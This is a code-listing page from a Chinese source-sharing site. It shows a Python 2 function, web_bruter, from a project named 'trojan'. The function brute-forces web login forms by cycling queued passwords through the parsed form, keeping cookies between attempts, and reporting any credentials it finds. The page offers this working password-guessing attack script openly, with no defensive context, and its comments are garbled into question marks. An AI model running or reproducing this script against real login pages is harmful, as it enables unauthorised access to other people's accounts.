passwd_burst.py 文件源码

python
阅读 24 收藏 0 点赞 0 评论 0

项目:trojan 作者: Hackerl 项目源码 文件源码
def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            #??????
            brute=self.password_q.get().rstrip()
            #??cookie
            jar=cookielib.FileCookieJar("cookies")
            #???????????cookie?jar
            opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))

            #??????
            response=opener.open(target_url)
            page=response.read()
            print 'Trying: %s : %s (%d left)'%(self.username,brute,self.password_q.qsize())
            #????????????
            parser=BruterParser()
            parser.feed(page)
            #??????
            post_tags=parser.tag_results
            #??????
            post_tags[username_field]=self.username
            post_tags[password_field]=brute
            #?????post??
            login_data=urllib.urlencode(post_tags)
            #?????????cookie????
            login_response=opener.open(target_post,login_data)
            #????
            login_result=login_response.read()
            #???????????????????
            if failed_check not in login_result:
                self.found=True

                print '[*] Bruteforce successful'
                print '[*] Username: %s'%username
                print '[*] Password: %s'%brute
                print '[*] Waiting for other threads to exit...'
#??????input????
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号